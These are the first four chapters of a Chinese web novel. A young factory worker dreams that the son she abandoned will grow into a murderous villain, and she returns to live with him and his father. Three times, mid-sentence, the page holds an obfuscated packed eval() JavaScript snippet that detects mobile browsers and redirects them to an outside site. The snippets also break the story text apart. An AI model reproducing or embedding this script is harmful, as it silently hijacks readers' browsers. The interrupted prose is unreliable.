《我是反派他妈》 1. 第 1 章 窗外的梧桐树枝繁叶茂,掩藏在树叶中的鸟儿偶尔传来一声清脆鸟鸣。天空湛蓝,晴朗明媚,静谧的阳光从窗户落进来,光线斑驳,像是在地面上铺了一层水光。 不同于窗外的生机勃勃,简陋杂乱的房间却寂静而沉闷。这是90年代的工厂宿舍,阴暗潮湿,空间狭小。墙上腻子脱落了大片,露出斑驳的墙面,窗户玻璃破了一角,用报纸糊住,大风又将报纸吹了个洞,呼呼往里面漏着风。 八人间的寝室,平日里闹哄哄的,此时大家都去上钟,屋子里就只剩了张婉如一人。 张婉如坐在床上大喘着气,她做了个噩梦。 她梦到她活在某本小说中,她所生活的世界,她周围的一切都是小说作者笔下虚构的。不过在小说中她是一个不太起眼的角色,只为了衬托反派的身世背景存在。 小说里有个阴狠毒辣的反派,他杀人无数,手上沾满鲜血。当然,小说最后,反派被正义的主角团联合抓捕送上法庭,作恶多端的反派也迎来了正义的审判。 不过在反派被正法之后,小说中却有一段关于他背景的描写。这个差点让主角团团灭,作恶了大半本书的人却有一段不幸的童年。 他在幼年时被亲生母亲抛弃,因为这个,他从小长大受尽了别人的冷眼和嘲笑,性格也变得内向自卑。被母亲抛弃的伤痛和对爱的极端渴望让他心理逐渐扭曲,直到后来拿起屠刀,成了背负数条人命的杀人魔。 而她,就是那个在反派幼年时抛弃他的母亲,在小说中关于她的描写很少,而她却是造成反派悲剧人生的关键人物。 在噩梦中,她时而会像旁观者一样看着小说情节走马灯似的在眼前闪过,时而会作为小说中的一个角色经历着属于她的人生。 就比如噩梦最后的画面,已经背上数条人命的反派被押送到审判台上,她是看台下的一员。周围人声鼎沸,不少人痛骂他的罪行,法官宣布了对他的最终判决,询问他最后还有什么话讲。 回应法官的是他低沉的笑声,像是某种魔咒,笑容在他脸上扩散,可他眼中却冷得毫无温度,一双杀人无数噙满了鲜血的眼睛,将他的笑声染上了毛骨悚然。 笑声却没有持续太久。他从审判开始就好似一个局外人一般一脸无所谓,面对死刑,即便到了现在他也没有一丝畏惧之心。死亡对他来说似乎是一件微不足道的事,可是现在,在他脸上那冰冷笑容定格的一刻,全程无所谓的脸上突然出现了几条裂痕。无法判断他脸上究竟是什么情绪,他只是微低着头说了一句。 “如果可以选择,我不想被生下来。” 冷血无情的反派身上难得流露出无奈和凄然,周围人诧异又不明所以,这么一个大坏蛋临终遗言竟然是这句话,然而坐在人群中的张婉如却早已泣不成声。 张婉如从噩梦中回神,不知道为什么会做这一场梦,也不知道梦中的一切到底是不是真的,还有她真的生活在某本小说里面吗?可梦中的某些场景却像是亲身经历过一般。 张婉如起床去了洗脸台,很长的一条台子,上面一排水龙头,平日里这里总热闹非凡,这会儿众人都已经去了厂房,张婉如在洗脸台上洗了把脸,窗外的太阳落在她身上,在身后照出一条长长的影子,落在静悄悄的地面上。 没有热水,冬天是噩梦,夏天洗着倒是不算凉。洗脸台上有一块缺了角的镜子,张婉如撑在水槽边看着镜子里的人。 镜子里的女孩一点妆都没化,皮肤倒是不错,五官也算精致。柳眉杏眼,小巧的鼻子和嘴,一头长发随意披散,点缀出一张清丽漂亮的脸蛋,标准的南方人长相。 谁也不会想到这么年轻的她其实已经有一个五岁的孩子。 生下他真的是一场意外,那一年的她才十八岁,应付高考,哪里来的时间结婚生子。可是一场意外却打乱了她的脚步,她被人绑架,一同被绑架的还有那个男人。在那个黑暗的房间里,他们被锁起来,那个变态给他们喂了药,一边用相机拍照一边兴奋大叫。 十几岁的少女哪里经历过那些,那段经历成为了她人生中抹不去的一段阴影。后来他们逃了出来,她以为只要不再见面,不再回忆,这段过去就会在时间里淡化,她依旧好好上学,好好毕业,依旧可以实现她上大学的梦。 可意外又接踵而至,她怀孕了。她想过打掉,却查出严重贫血,无法做堕胎手术,连命运都在捉弄她。 她不得已将孩子生了下来,她错过了高考,错过了大学。那段屈辱黑暗的经历却迫使她想要逃离这一切,她憎恨所有带给她屈辱改变她命运的人,那个绑架犯,那个男人,还有这个孩子。 而她所能做的就是逃得远远的,再也不见。 今年她24岁,在一家制衣厂工作,距离她离开已经四年多了。 洗完脸换上工服她才去了厂房,厂房挺大的,红砖墙面,东西两侧的墙壁,分别写着“想要壮志凌云,干要脚踏实地”和“守时诚信,勤奋踏实”两则标语。偌大的厂房被密密麻麻的缝纫机填满,此刻已经有不少女孩坐在缝纫机前开始工作。 坐在张婉如工位旁边的是一个二十岁左右的小姑娘,烫着羊毛卷,穿着一件雪纺短袖,一条喇叭裤。 两人工位挨在一起,又在同一个宿舍,关系还不错。见她来羊毛卷女孩小声冲她道:“你今天怎么起这么晚?我一直叫你都不醒,我就只得先过来了,幸好主管还没来。你怎么回事啊,平日里从来不迟到的?” 张婉如并没有解释太多,只道:“可能是昨晚太累,睡过头了。” 羊毛卷话多,便没再继续这个话题,开始跟她聊厂里的八卦,张婉如却没心思听。她一直想着昨日的那个噩梦,想着那本小说。 她真的生活在那本小说中吗?那个孩子未 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15144644|164658||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来真的会长成身背多条人命的大反派吗?还有那一段段她作为旁观者所看到的小说中关于反派的描写。 他被人嘲笑没有妈妈,独自一人靠在冰冷的墙角,握紧拳头,气得浑身发抖却说不出一句反驳的话。 还有一段关于他看到家境美满的主角的描写。小说里面形容他像阴沟里的老鼠一样躲在暗处窥探着别人的幸福,一股可怕的嫉妒和自卑在他心底作祟,他有一股想撕毁一切美好的冲动,而他并不想承认这股冲动是源自他疯狂的嫉妒心。 还有她坐在看台下如真实经历过的一幕,听着他在审判台上说下那句话。 “如果可以选择,我不想被出生。” 张婉如不知道为什么会做这一场梦,而且生活在一本小说中也太匪夷所思了,可噩梦却又那么真实。 如果是真的呢?如果他未来真的会变成沾满鲜血人人得而诛之的反派呢? 而造成这一切的根源就是她,狠心抛弃了幼年反派的母亲。 她从未想过她的离开会给他带来这么大的影响和创伤。她以为她的离开,只会让他关于妈妈的记忆淡化,他不会知道他的妈妈是谁,未来他们也只会像陌路人一样。他会有他自己的人生,只是他的人生中不会有她的存在,因为从小就分开,妈妈这个身份对他来说也可有可无。 她对这个孩子她的感情很复杂,他是她那段屈辱历史的证明,也是因为他,她错过了高考错过了大学,她的命运随之改变。 可是他说得对,是她选择要生下他的,如果他能选择,他也不愿意被生下。 说到底,这个孩子才是最无辜的那个不是吗? 如果造成这一切的人是她,那么能改变这一切的也只能是她。 现在是1995年,那个孩子才五岁,他心里的裂痕还没有扩散,他还不是未来沾满鲜血的反派,而她还有机会能改变他的命运。 而她,愿意去改变吗?那一年,她像逃避瘟疫一样从柳城离开,离开时便决定此生再也不会踏足那里,她愿意为了那场不知到底会不会发生的噩梦再次回到那个地方吗? 噩梦中的一幕幕又在脑海中浮现。 被人嘲笑没有妈妈,气得发抖却只能靠在墙角无能反驳的小小身影。 躲在暗处像一只阴暗的老鼠窥探着别人的幸福,可怕的嫉妒心折磨着他。 站在审判台上,一脸凄怆在一句“不想被出生”落下他这一生的帷幕。 随着噩梦一帧帧如电影般在她脑海中闪过,在所有画面落幕那一刻,她突然下定决心。 羊毛卷女孩还在喋喋不休八卦,见她突然起身离开工位,羊毛卷诧异道:“张婉如你要去哪儿?” “去写辞职信。” “啊?你要辞职?你要去哪儿?” “我要回柳城。” 她要回去,回到那个孩子身边。 2. 第 2 章 肖记是扎根柳城多年的一家本土企业,原本是一家小小的酱油作坊,历经了战乱和几十年的岁月,到现在已经是一家有规模的酱油厂,而几乎每一个柳城人家里都有一瓶肖记家的酱油。 肖记的创始人今年已经七十多岁了,他依旧还住在肖家的老宅里。这里原本是柳城的老城,由一家小小的门房不断扩张,最后修成占地三百多平的祖宅。房子四合,大门进去是一个门厅,经过门厅是一个天井,天井下面修着龙吸水的排水方井,门厅对面是一个巨大的会客厅。 肖老爷子七十多岁了身体还不错,经过肖家几代人的努力,他已不再是那个挑着扁担沿街叫卖酱油的小货郎,而是肖记酱油厂的老厂长。不过他老人家节俭惯了,即便如今家底丰厚,衣着依旧朴素。一件洗旧的中山装,一双布鞋,头发已经花白,面貌却精神。 方桌旁边摆着两把椅子,肖老爷子坐了一把,他的大儿子肖老大坐了另一把。肖老大四五十岁的人了,长相斯斯文文的,戴了一副眼睛,穿着条纹的短袖Polo衫和西裤,皮带上挂着一个时下流星的BB机。 两人喝着盖碗茶,肖老大冲肖老爷子道:“秉文从国外弄了一批机器回来,这事儿有人跟您说过的吧?” 肖老爷子一听这话眉头就皱了皱,肖秉文是肖家老三的独子,从小父母双亡,是肖老爷子亲自养大的,也是肖老爷子最看重的一个孙子。他聪明睿智反应灵敏,啃吃苦有干劲,最像年轻时候的他。不过跟他不一样的是,这个孙子不听话,难管束,很多时候不按常理出牌,让他颇为头疼。 就比如他希望他高中毕业之后去上个大学回来帮着家里的生意,他偏偏要去参军。参军回来都二十出头了,他让他安安分分留在家中打理家里的生意,他偏偏要去学老外资本家那一套。 要扩建厂,要买机器,要将酱油量产,只有量厂才能扩大销量,还说什么生产酱油太单一,要投入研发一些别的调味品。 虽然肖记现在已经是有规模的厂了,可是酱油的酿造依然采用古法纯手工,肖老爷子一直觉得只有纯人工酿造出来的酱油,口感,味道,浓度才是最佳的,是机器不能比的。当然最主要的原因是肖老爷子不太相信老美资本家那一套。 肖老爷子希望肖秉文踏实一点,肖秉文却觉得他古板迂腐不懂变通,他说现在已经是工业时代了,不投入机器,肖记就永远走不出柳城。 爷孙两人因此意见不合,肖秉文干脆就自己新开了一个厂,他从小耳濡目染也懂酱油酿造,只是名字不叫肖记,他自己取了个名,叫和盛味业。 肖老大说的新弄一批机器,就是肖秉文给自己厂弄的。虽然肖老爷子不太赞同肖秉文的做法,不过这小子倒还是有点本事的,他的和盛味业确实发展得还不错。他不仅酿造酱油还投入生产其他调味品,比如香醋,味精等等。以他的话说就是产品多了可以做风险对冲,反正他也不太懂,他自有他的那一套,不过在肖老爷子看来能赚钱就行。 肖秉文退伍之后就回来开了厂,如今快七年了,开厂的成本基本已经赚回来。肖老爷子虽眉头紧锁,不过心里倒是欣慰,他最看重的孩子当然不会差的。 “前几天你们不是给他安排相亲了吗?怎么样了?”肖老爷子转了个话题。 “说是没看上。” 啪!盖碗茶被重重砸在桌上,茶水洒出了一大片,肖老大急忙拿了帕子给他擦,口上劝道:“您先消消气。” “他到底要个什么样的?这也不合适那也不合适,都二十九岁的人了!” “现在的孩子跟我们不一样的,他们有自己的想法。” “他父母不在了,你这个当大伯的也多上上心。” 这话听得肖老大有些不安,他忙道:“是是是,您放心,我和他大伯母也都操心着呢。”说到此处肖老大顿了顿说道:“只不过秉文一直没看得上的,我和他伯母就猜着,会不会是还没放下小戎的妈妈。” 肖老大说完还偷偷看了老爷子一眼,果然老爷子听到这话面色就沉了沉,他哼了一声道:“那丫头都跑了那么多年了,他还想着干什么?” “说是这样说,毕竟是孩子妈妈,又是秉文唯一交过的女朋友。” …… 和盛酱味业虽然已经办了七年,工厂运作已经成熟,不过肖秉文作为老板,除了处理一些订单和行政事务外,没事也会去厂房里帮帮忙,修修机器,搬搬酱渣。 大袋酱渣会被搬到厂房门口,等会儿有卡车来拉走。 梁文凤顺着门卫的指引来到厂房外面时,正好看到肖秉文混迹在一群搬酱渣的工人里面,他个子高,长相又俊俏,在一众工人里面很显眼。 来厂房干苦力,他穿得也随意,一件迷彩短袖迷彩短裤,肩上扛了一袋,手上又提了一袋,卸下酱渣,他撩起短袖下摆擦了擦脸上的汗。 肖秉文在军队里呆过几年,身材练得很结实,露出的手臂和小腿紧致有力,没有过分健壮,但却也有明显的肌肉线条,看着就很有力量感。此刻他撩起衣服擦汗,被汗水湿润的腹肌在阳光下被照成小麦色,一块块很明显。 肖秉文被旁边人提醒,他这才看到她,梁文凤冲他笑着点点头示意。肖秉文走过来问道:“你怎么来这里了?” 梁文凤和肖秉文有点沾亲带故的,肖秉文的大伯母是她的姑姑。 两人很小就认识,不过梁文凤对他印象最深的还是他高中的时候,那时候的他身上有一股浑劲,总是懒洋洋的,看人的时候眼皮耷拉着,给人一种不拿正眼看人的年少轻狂。后来去了军队,在里面经过一番洗礼,他现在腰背挺了,目光也坚定了,可身上那股浑劲还在。明明那宽阔的肩膀和紧实的身体看着就很可靠,可那张俊朗的脸和隐隐透着的浑劲又让人觉得他很危险。 说到来这里的目的梁文凤有些尴尬,她道:“就……我大伯母没有跟你说过吗?她要安排我们见面,不过你太忙了,那只能我来找你了,她应该跟你说过我会来的吧?” 家里老给他安排相亲,他也不上心,他大伯母好像真跟他说过梁文凤要来找他见一面。 “不好意思啊,现在厂里有点忙,我让秘书带你下去休息一会儿。” “唉我们好歹从小就认识,这么多年没见了,都不能劳烦你肖厂长的大驾接待我一下?” “忙。” “……” 肖秉文说完叫了一声,只见一个瘦高个的年轻男人屁颠颠跑过来。 “肖经理,有什么安排?” “带这位梁小姐去休息一下,好茶好水招待着啊。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15144645|164658||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“那个……” 梁文凤想说什么,不过肖秉文已经转身离开了,他腿长步子也大,三两步就进了厂房不见了人,梁文凤没办法,只能先跟秘书离开。 下午肖老太太的电话就气势汹汹打了过来,一接通,就听到老太太夹枪带棒的质问,别说这老太太一把年纪了,声音还中气十足的。 “今天文凤是不是来找过你了?” “来了啊。” “人家女孩子主动来找你,你就把人家晾了一下午?这么就算了,人家走你也不送一下?” “我这不太忙了吧?” “你就忙得一句话都跟人家说不上?你成心的吧你?那可是你大伯母的侄女,别人就算了,你大伯母把自己亲侄女都介绍给你了,你连这点面子都不给?” “我不是早跟你们说过,别老给我介绍对象,你们非要自作主张。” “还怪我自作主张是吧?你看看你都二十九快三十岁的人了,你就算不为自己考虑,也得为小戎考虑吧,他还那么小,身边没个妈妈照顾着,像什么话?” “这就是你的不是了吧,人家梁文凤那么优秀,你们让人来当后妈,不是埋汰别人吗?” “你——” 老太太气结,直接砸了电话。 肖秉文点了一支烟,他手肘撑在膝盖上微微弓着身体,一手夹着烟一手捏了捏眉心,他也觉得烦,他是真的不想结婚。老爷子和老太太一直逼问他为什么不想,甚至还问过是不是忘不掉那丫头,其实也不是忘不掉谁,但就是不想。 第二天一早肖秉文来到厂里,刚准备洗脸秘书就急匆匆跑来告诉他,说是厂子外面有人找他。 “是个女的。”秘书一脸意味深长冲他道。 昨天老太太气得不轻,他觉得这样也挺好,最起码短时间之内他们不会再想着安排他相亲了。 没想到才隔了一天,又给他来这套,看来还是不死心啊。 肖秉文烦得要死,直接冲秘书道:“就说我忙,把人打发走。” 秘书点点头,并不意外,来找过老板的女孩挺多的,几乎不出意外每个都坐冷板凳,这位大概也不例外。 秘书为那姑娘遗憾,想着那姑娘温温柔柔的,还叫他一声大哥,虽然没啥用,但他觉得好歹也该让老板知道人家名字,所以在离开前他随口说了一句:“那姑娘说她叫张婉如。” 肖秉文端着个瓷盆正在洗脸,听到这话,他动作一顿,随即一双犀利的眼睛就向秘书扫过来,语气紧得发沉,“你刚刚说她叫什么名字?” 秘书被老板这反应吓了一跳,下意识后退一步,小心翼翼道:“她……她说她叫张婉如。” 五月的早晨,临近夏日,太阳出来得早。工厂地处偏僻,两侧是荒地,不远处是一条河,河对岸还有着农田,工厂外面的公路还没铺水泥,因为经常有大卡车进出,石子路被压得很紧实。 工厂门口两边种着芭蕉树,他一出门就看到了那个站在芭蕉树下面的女人。 她的长发用一根发簪束在脑后,穿一件雪纺衬衣和一条百褶裙。五官清秀灵动,一张脸白皙干净,清清爽爽往那边一站,绿油油的芭蕉树也淡了几分颜色。 肖秉文一眼就认出了她,几乎是不受控制,急促的脚步瞬间顿住。 3. 第 3 章 肖秉文稍稍回神,他微眯着眼睛打量着她,声音透着不确定,“张婉如?” 张婉如知道肖家老宅的地址,孩子出生前她也曾在那里住过一段时间,不过她不确定肖秉文和孩子是不是还住那里。不过肖秉文开的厂她知道,肖秉文作为老板,肯定能在这里找到他。 她跟门卫报了名字,但不确定肖秉文愿不愿意见她,毕竟当年两人分开得并不融洽。 张婉如想过,两人再见面气氛不会太好,即便没有剑拔弩张,但也不会太和谐。然而肖秉文看向她的眼神里除了淡淡的疑惑外别无所有。 张婉如一时也不知道说什么,冲他点了点头,他注视了她片刻,也没多问什么,说道:“进来吧。” 肖秉文将张婉如带到他的办公室给她泡了一杯茶,随后两人就各坐了一个沙发,静静喝着茶,气氛有些尴尬。 肖秉文不去厂房干活的时候穿得倒是挺周正的,头发剪得很清爽,一件白色衬衣,一条黑色西裤,脚上一双皮鞋。他腿太长了,坐下时大敞着分开在茶几两侧,再加上有过多年行军经历,这一坐便有一股大马金刀的气势。 “你这些年去哪里了?” 肖秉文喝了一口茶,先开了口。 其实肖秉文的疑惑有很多很多,她去了哪里做了什么为什么突然回来。 他还记得她离开那一天,她告诉他,和他经历过的一切对她来说是一种屈辱,是她这辈子都挥之不去的阴影。她不想再触及,而他如果真想补偿就永远不要出现在她面前。 当日她冰冷的话和冰冷的眼神依旧历历在目,离开时的背影也透着誓不回头的决绝,她走得这些年也是音讯全无,所以他很奇怪她为什么突然来找他。 张婉如缓缓将茶杯放下,她道:“我去了增城。” “怎么去了那么远的地方?” 张婉如却没回答,她道:“楚戎还好吗?” “……” 肖秉文微眯的目光中透着几许疑惑,他记得她离开那天,楚戎才五个月大,都还没断奶。他试图说服她留下,抱着哇哇大哭的小孩追上离开的她。 而她却看都不看孩子一一眼,对他说了一番冰冷的话就直接走了,别说回来看一眼,就连问候的话也没有一句。他也找过她,但这个年代,信息不发达,要找个人哪有那么容易。 所以此番回来是看望小孩的?肖秉文喝了一口茶,面色缓和了一些,虽然当年说走就走,一走这么多年音讯全无,确实够狠心,还以为她再也不回来了,不过现在看来还不至于狠心到那种地步,最起码还是记挂着孩子的。 “他挺好的,上幼儿园了。” 张婉如点点头,又沉默下来。 肖秉文打量了她一眼,她那么远回来,再怎么也得要跟孩子见一面的,他也不着急,等着她提出要见孩子。 慢条斯理喝了几口茶之后,果然对面的张婉如开口了。 “当年我去增城后进了一家工厂,工作这些年也有了一定的积蓄。我离开时因为还年少,许多问题没想明白,也担不起责任。如今年纪上来了,明白了很多道理,也知道我对小戎有太多亏欠。如今我有了一定的经济基础,我就想着能不能把小戎接到我身边一起生活。我离开这些年,他一直缺少母亲陪伴,我现在条件好了些,想尽我所能弥补。” 肖秉文听到这话,方才缓和了一些的面色沉了下来,原来这趟回来不是简单要见一下孩子,是想把孩子带走的啊。 肖秉文一时间竟不知道是该气还是该笑,笑的是好歹她还没狠心到那个地步,知道要回来看看孩子,气的是,他独自抚养孩子这么多年,她倒好,一回来就想把孩子带走。 当过军人的男人,目光冷一些便显得格外锋利,张婉如顶着他的眼神竟莫名有些紧张。 不过肖秉文说话的语气倒还是平静的,“你说你离开让他缺少妈妈的陪伴,要弥补他,所以你弥补他的方式就是让他离开我从此少了爸爸的陪伴?” 张婉如知道这个提议肖秉文肯定不会答应,她也有心理准备,不过她已经决定要陪伴在孩子身边,肖秉文不同意这个,那她还有另一个提议。 她斟酌了片刻后说道:“如果你和孩子不介意的话,我可以回来跟你们一起生活。” 这话说得挺不要脸的,毕竟她当年离开的时候对人把话说得那么绝,说和他在一起是她的屈辱,说看到他就会想起那噩梦一样的阴影,还让他和孩子永远不要出现在她面前。一走就是好几年,这么多年来也没联系别人一下,现在说回来就回来,还厚着脸皮要跟人一起住。 当年她那些话放任何人身上都挺伤自尊的,尤其肖秉文这种从小家境优渥的,骨子里更是骄傲。现在她厚着脸皮回来,还恬不知耻提出这种要求,她想着肯定少不了要被冷嘲热讽一番,而她这个头是必须要低的,毕竟有求于别人,所以也做好了被男人冷嘲热讽的准备。 她不知道的是,肖秉文听着她这些话却很意外,甚至都怀疑自己听错了,她竟然说要回来跟他们一起生活。 她想带孩子离开他其实能理解的,她再怎么恨,这个孩子也是她生的,是她身上掉下来的肉。但他很清楚她对他的憎恶,其实在发生那场意外前他们就认识了,两人多少还沾着点亲戚关系,严格算起来,这丫头还是他的晚辈。 不过这丫头自来就不喜欢他,大概是因为她的后母,她后母跟他们家有点亲戚关系。后来又发生绑架的事情。她一个女孩子遇到那种事情,肯定是又委屈又痛苦的,原本就不太喜欢他,发生这事,那就是恨了,即便两人有了孩子还是消不了恨。 在肖家待产的时候别说搭理他了,连冷眼都懒得给他,每天能不跟他见面就不跟他见面,即便见面了也要跟他保持距离。对她来说跟他生活在一起是一种折磨,所以她才逃得远远的。 有时候他也在想,如果不是因为他,她恐怕也不会这么不喜欢小戎,要是换一个男人,她对小戎也不会这么狠,他的小戎也不会这么可怜,从小没有妈妈。因为不喜欢他,连带着他的孩子也不喜欢。 而现在,她却说要回来跟他们一起住,肖秉文想着,她指不准是遇上什么事了,不然他不明白张婉如为什么突然做出这个决定。不过她不说,他也不问。 肖秉文一直没开口,她开始不安起来。她偷偷打量他的表情,他脸上其实也没什么表情,可这人没表情的时候,那双眼睛就比平日里锋利一些,一点眼风落在人身上都让人招架不住。张婉如拽着一侧的裙摆,手心出了层汗。 屋中的氛围有些压抑,也不知过了多久,她听到肖秉文有些低沉的声音响起。 “你考虑好了?” 他面色依旧没变化,张婉如也不太清楚这句“你考虑好了”究竟隐藏着什么意思,她如实点了点头。 张婉如向他看去,此刻他靠坐在沙发上,两条长腿大敞着,手上端着茶杯,修长的手指在杯沿上慢条斯理划拉着。 他的目光也落在她身上,有些深,让人看不太懂其中藏着的情绪。可出乎她意料的,他对上她看过来的视线,就那么毫无预兆的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15144646|164658||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,嘴角轻轻勾了勾,一抹淡淡的笑意浮在脸上,张婉如愣了一下,拿不准他这抹笑是什么意思。 随即就听他丢来一句。 “好啊,我同意了。” 说话的语气就和他抚摸在杯沿上的动作般慢条斯理。 张婉如不敢相信,没有嘲讽,没有为难,他竟然这么干脆的就答应了。 “你答应了?” 他抿了一口茶,语气从容不迫,“当然。” 张婉如松了一口气,拽着裙摆的手指渐渐松开。虽然挺意外肖秉文如此轻而易举就答应,但对她来说总归算是一件好事。 不想肖秉文语气一转又说道:“不过我答应了不代表小戎就答应了,你还得去征得他的同意。” 听到这话张婉如心沉了一下,她想到那个才五个月她就离开的孩子,那时候他还那么小,从小长大没有妈妈在身边,他恐怕连她长什么样都不知道。 不过既然已经下定决心她自然也不会退缩,她道:“我知道,你什么时候方便带我去见见他。” 肖秉文抬腕看了一眼手表,手指在表盘上轻点了两下,说道:“他今天不去幼儿园,我现在正好有空可以带你去。” “现在?” 那三菱越野车开出工厂大门时,有不少工人正趴在厂房的窗户上看热闹。 工人一号:“你说这上半年来找肖老板的女人也不下十个了吧,哪个不是花枝招展地来垂头丧气地走,能把肖老板拐着一起走的就只有这一个,不简单啊!” 工人二号:“有没有可能,这女的跟肖老板真能成啊?” 工人三号,“不一定,肖老板是什么人啊,整天跟我们这帮工人混一起,连养的狗都是公的,就跟个和尚一样断情绝爱。来来回回找他那么多女人,哪个不是大美女,你看他动摇了吗?” 肖秉文开的车,张婉如坐在副驾驶座,两人一路无话。坐在车上的张婉如有些不安,她也没想到这么快就能和孩子见面。她离开那会儿孩子才五个月大,大概人都不认识,只记得离开那天肖秉文抱着她想让她留下,她坚决要走,孩子哇哇大哭,目光一直盯着她的方向,连妈妈都不会叫。这么多年她都没出现过,再站在他面前,他恐怕都不知道她是谁。 肖秉文开着车,时而用余光看她一眼,就见她一直低着头,不知道在想什么。车子路过一家玩具店的时候张婉如一直低垂的头抬了起来,她让肖秉文将车停下。 肖秉文用眼神询问,张婉如道:“我回来得着急,没来得及给孩子准备见面礼,我去给他买个玩具。” 张婉如下车进了玩具店,琳琅满目的玩具却让她无处下手,她忘了问一下肖秉文孩子喜欢什么。她又折回到车边,拉开车门问肖秉文:“小戎喜欢什么玩具啊?能麻烦你帮我参考一下吗?” 肖秉文盯着她没说话,这一次见面张婉如的表现着实让他惊讶。一走这么多年连个问候都没有,连他都怀疑她是不是早将他们忘了。她却突然回来提出要回来跟他们一起住,还这么热情要给孩子买玩具,甚至还跟他客客气气说话。 要知道她对他的态度要多冷就有多冷,从来都是能有多远躲多远,即便碰面了,对他也是一脸冷然,连一句多余的话都不想跟他说。 此刻这般客气,甚至还说着“麻烦你”这几个字,态度好得让人诧异。 他很纳闷,她究竟是什么情况? 张婉如被他眼神盯得挺不自在的,好在他目光并未在她身上停留太久,他推开车门长腿一迈下了车,随她进了玩具店。 4. 第 4 章 肖秉文目光在玩具店里扫了一眼,其实他也挺无措,那小子好像没什么喜欢的玩具,带他出去问他想要什么他也摇头。有时候他觉得他沉闷得不像个孩子,别的小孩喜欢吵吵闹闹,他大多数时候都是自己安静呆着,唯一跟别的小孩一样的爱好就是看动画片。 不过他要是说他也不知道小戎喜欢什么,显得他这个当爹的挺不靠谱,养了这么多年的儿子都不了解他的喜好,不过给孩子买玩具这事儿他确实也没什么经验。肖秉文想到孩子堂伯上次给他买了一辆玩具车,他便向玩具车上指了一下说道:“这个吧,他有一辆黑色的,可以给他买个其他颜色。” 张婉如便挑了一辆红色的。 肖秉文早已带着孩子搬出了肖家老宅,肖家老宅人多照顾人也方便,当然不好的也是因为人多。人多嘴就杂,孩子从小没妈,肖秉文不太喜欢有人动不动就在孩子跟前提他妈的事,干脆直接在外面买了套房带子孩子出来住。 今天是周六,幼儿园不上学,肖楚戎在家中,肖秉文请了个保姆照顾他。肖秉文还给他请了个家教老师,专门教他学英文。 家教老师姓王,叫王华丽,王华丽并不是正经的老师,不过她的祖母是个英国人,她从小跟着祖母学英文,会说一口流利的英文,读写更不是问题。所以请她当英文家教的人挺多的,王华丽成年后便靠着给人当英文家教谋生,收入也挺可观。 肖楚戎本来是她的学生之一,每次上课也就一两个小时左右,她一天能教好几个孩子英文,不过认识肖楚戎父子之后其他的家教她能推的都推了,就专门教肖楚戎。 她在肖楚戎身上是费了些心的,主要是这孩子跟别的孩子不太一样。肖楚戎才五岁大,却没有这个年纪的孩子好动活泼的天性,整个人都闷闷的,也不太爱说话。王丽华也能理解,单亲家庭的孩子多少都跟正常孩子不一样。 不过孩子倒是挺乖,教他认单词他就乖乖认,教他怎么读他就怎么读,也能坐得住,这比教其他孩子轻松多了。已经读了快半个小时了他也没嚷累,这要是换个别的小孩早不耐烦了。 这么乖巧的孩子,王丽华也是打心眼里喜欢的,只是他不太爱说话,触及到学习之外的问题他就变得闷闷的。 “今天读得不错,有好几个之前读错的发音你都读对了,值得奖励。”王丽华拿出准备好的小礼物,一只铅笔和一个橡皮擦,她递到他跟前,“小戎选一个当奖励。” 肖楚戎指了一下铅笔,王丽华便将铅笔给他,“原来小戎喜欢铅笔啊,拿到喜欢的礼物开心吗?” 他没说话,不说喜欢也不说不喜欢,只拿过笔握着,又闷上了。 王丽华也习惯了,她又道:“你们幼儿园里面有没有玩交换秘密的游戏?” 他抬头看了她一眼,摇了摇头。王丽华又道:“那我教你,我们一起玩一玩好不好?” 他依旧没说话,没答应也没反对,王丽华也没生气,说道:“我先说一下我的秘密,小时候我不小心把我爸爸很喜欢的一幅画弄脏了,我怕挨打不敢承认,就骗我爸爸是家里的猫弄脏的,后来我家猫就替我挨了很大一顿打。” 听到这话他看向她的目光中似乎多了几分兴趣,王丽华见状心头一喜,这小模样总算是有一点跟人交流的苗头了,她又道:“你看,老师的秘密已经跟你分享了,你也分享一个你的秘密好不好?” 他沉默了下来,就在王丽华觉得他恐怕又开始闷的时候,小孩说道:“我没有秘密。” 王丽华觉得这番引导确实有效果的,她便冲他指了指他房间储物柜上一个小箱子,那小箱子上面有个锁孔,没有钥匙打不开。 “这个里面有小戎的秘密对吗?你看老师都将秘密告诉你了,小戎也给老师看看秘密好不好?” “不好。” 这一次他没有犹豫,清脆了当的两个字。王丽华被堵了一下,倒也没生气,她无奈笑了笑,“好吧,那小戎记着你还欠我一个秘密的,以后想说了就告诉我。” 他没回答,王丽华很有耐心,她道:“没事,小戎先自己看一下书,老师去上个厕所。” 